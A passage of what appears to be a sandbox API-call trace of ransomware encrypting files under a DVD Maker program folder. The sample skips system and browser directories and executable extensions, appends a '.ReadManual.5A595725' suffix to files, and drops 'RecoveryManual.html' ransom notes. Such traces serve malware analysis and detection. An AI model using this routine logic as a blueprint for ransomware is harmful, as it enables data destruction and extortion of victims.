lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.104] GetLastError () returned 0x5 [0254.104] GetNamedSecurityInfoW () returned 0x0 [0254.104] SetNamedSecurityInfoW () returned 0x0 [0254.104] SetNamedSecurityInfoW () returned 0x0 [0254.105] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_item.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.105] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=2928) returned 1 [0254.105] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb70, lpName=0x0) returned 0x1a0 [0254.105] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbc) returned 1 [0254.106] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.106] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.108] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.108] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb70) returned 0x2f0000 [0254.108] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.108] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37477665729) returned 1 [0254.108] CloseHandle (hObject=0x1a0) returned 1 [0254.108] SetSecurityInfo () returned 0x5 [0254.108] SetSecurityInfo () returned 0x5 [0254.108] LocalFree (hMem=0x674d38) returned 0x0 [0254.108] CloseHandle (hObject=0x184) returned 1 [0254.108] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbb8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="push_title.png", cAlternateFileName="")) returned 1 [0254.108] lstrcpyW (in: lpString1=0x6ab906, lpString2="push_title.png" | out: lpString1="push_title.png") returned="push_title.png" [0254.108] lstrcmpiW (lpString1="push_title.png", lpString2="RecoveryManual.html") returned -1 [0254.108] StrStrIW (lpFirst="push_title.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.108] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.108] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.108] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.108] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.108] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.109] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.109] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.109] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.109] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.109] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.109] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.109] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.109] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.109] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.109] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png" [0254.109] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png.ReadManual.5A595725" [0254.109] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png.ReadManual.5A595725") returned 87 [0254.109] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37477767657) returned 1 [0254.109] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_title.png")) returned 0x20 [0254.109] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_title.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.109] GetLastError () returned 0x5 [0254.109] GetNamedSecurityInfoW () returned 0x0 [0254.109] SetNamedSecurityInfoW () returned 0x0 [0254.110] SetNamedSecurityInfoW () returned 0x0 [0254.110] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_title.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.111] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3000) returned 1 [0254.111] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbb8, lpName=0x0) returned 0x1a0 [0254.111] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0254.111] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.111] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.113] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.113] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbb8) returned 0x2f0000 [0254.113] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.113] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37478187046) returned 1 [0254.113] CloseHandle (hObject=0x1a0) returned 1 [0254.113] SetSecurityInfo () returned 0x5 [0254.113] SetSecurityInfo () returned 0x5 [0254.113] LocalFree (hMem=0x674d38) returned 0x0 [0254.113] CloseHandle (hObject=0x184) returned 1 [0254.113] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbb8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="push_title.png", cAlternateFileName="")) returned 0 [0254.114] FindClose (in: hFindFile=0x6bff40 | out: hFindFile=0x6bff40) returned 1 [0254.114] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec065c50, ftCreationTime.dwHighDateTime=0x1d6bde3, ftLastAccessTime.dwLowDateTime=0xec065c50, ftLastAccessTime.dwHighDateTime=0x1d6bde3, ftLastWriteTime.dwLowDateTime=0xed2662b0, ftLastWriteTime.dwHighDateTime=0x1d6bde3, nFileSizeHigh=0x0, nFileSizeLow=0xae9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecoveryManual.html", cAlternateFileName="RECOVE~1.HTM")) returned 1 [0254.114] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="RecoveryManual.html" | out: lpString1="RecoveryManual.html") returned="RecoveryManual.html" [0254.114] lstrcmpiW (lpString1="RecoveryManual.html", lpString2="RecoveryManual.html") returned 0 [0254.114] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" [0254.114] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RecoveryManual.html" [0254.114] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RecoveryManual.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0254.115] WriteFile (in: hFile=0x194, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fdf0, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fdf0*=0xae9, lpOverlapped=0x0) returned 1 [0254.116] CloseHandle (hObject=0x194) returned 1 [0254.116] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Rectangles", cAlternateFileName="RECTAN~1")) returned 1 [0254.116] lstrcpyW (in: lpString1=0x69b8fc, lpString2="Rectangles" | out: lpString1="Rectangles") returned="Rectangles" [0254.116] lstrcatW (in: lpString1="Rectangles", lpString2="\\" | out: lpString1="Rectangles\\") returned="Rectangles\\" [0254.116] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", lpSrch=":\\Windows\\") returned 0x0 [0254.116] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0254.116] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0254.116] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0254.116] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", lpSrch=":\\WINNT") returned 0x0 [0254.116] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0254.116] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", lpSrch=":\\Windows.old\\") returned 0x0 [0254.116] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", lpSrch=":\\PerfLog\\") returned 0x0 [0254.116] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", lpSrch="\\WindowsApps\\") returned 0x0 [0254.116] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0254.116] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0254.116] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0254.116] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0254.116] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0254.117] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0254.117] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0254.117] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", lpSrch="\\Windows Defender\\") returned 0x0 [0254.117] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", lpSrch="\\microsoft shared\\") returned 0x0 [0254.117] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0254.117] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0254.117] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0254.117] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0254.117] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0254.117] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", lpSrch="\\Tor Browser\\") returned 0x0 [0254.117] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0254.117] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\") returned 59 [0254.117] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bff40 [0254.119] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\" [0254.119] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.119] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f955d49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f955d49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0254.119] lstrcpyW (in: lpString1=0x6ab912, lpString2="1047x576black.png" | out: lpString1="1047x576black.png") returned="1047x576black.png" [0254.119] lstrcmpiW (lpString1="1047x576black.png", lpString2="RecoveryManual.html") returned -1 [0254.119] StrStrIW (lpFirst="1047x576black.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.119] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.119] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.119] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.119] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.119] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.119] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.119] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.119] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.119] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.119] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.119] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.119] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.119] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.119] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.119] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png" [0254.119] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png.ReadManual.5A595725" [0254.119] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png.ReadManual.5A595725") returned 96 [0254.119] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37478807434) returned 1 [0254.119] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576black.png")) returned 0x20 [0254.120] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.120] GetLastError () returned 0x5 [0254.120] GetNamedSecurityInfoW () returned 0x0 [0254.120] SetNamedSecurityInfoW () returned 0x0 [0254.120] SetNamedSecurityInfoW () returned 0x0 [0254.121] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.121] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4570) returned 1 [0254.121] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11da, lpName=0x0) returned 0x1a0 [0254.121] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd0) returned 1 [0254.122] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.122] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.123] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.123] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11da) returned 0x2f0000 [0254.124] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.124] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37479244143) returned 1 [0254.124] CloseHandle (hObject=0x1a0) returned 1 [0254.124] SetSecurityInfo () returned 0x5 [0254.124] SetSecurityInfo () returned 0x5 [0254.124] LocalFree (hMem=0x674d38) returned 0x0 [0254.124] CloseHandle (hObject=0x184) returned 1 [0254.125] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\" [0254.125] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\RecoveryManual.html" [0254.125] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\RecoveryManual.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0254.126] WriteFile (in: hFile=0x184, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fda8, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fda8*=0xae9, lpOverlapped=0x0) returned 1 [0254.126] CloseHandle (hObject=0x184) returned 1 [0254.127] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9c8160, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9c8160, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1047x576_91n92.png", cAlternateFileName="")) returned 1 [0254.127] lstrcpyW (in: lpString1=0x6ab912, lpString2="1047x576_91n92.png" | out: lpString1="1047x576_91n92.png") returned="1047x576_91n92.png" [0254.127] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="RecoveryManual.html") returned -1 [0254.127] StrStrIW (lpFirst="1047x576_91n92.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.127] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.127] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.127] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.127] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.127] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.127] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.127] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.127] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.127] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.127] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.127] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.127] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.127] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.127] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.127] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png" [0254.127] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png.ReadManual.5A595725" [0254.127] lstrlenW 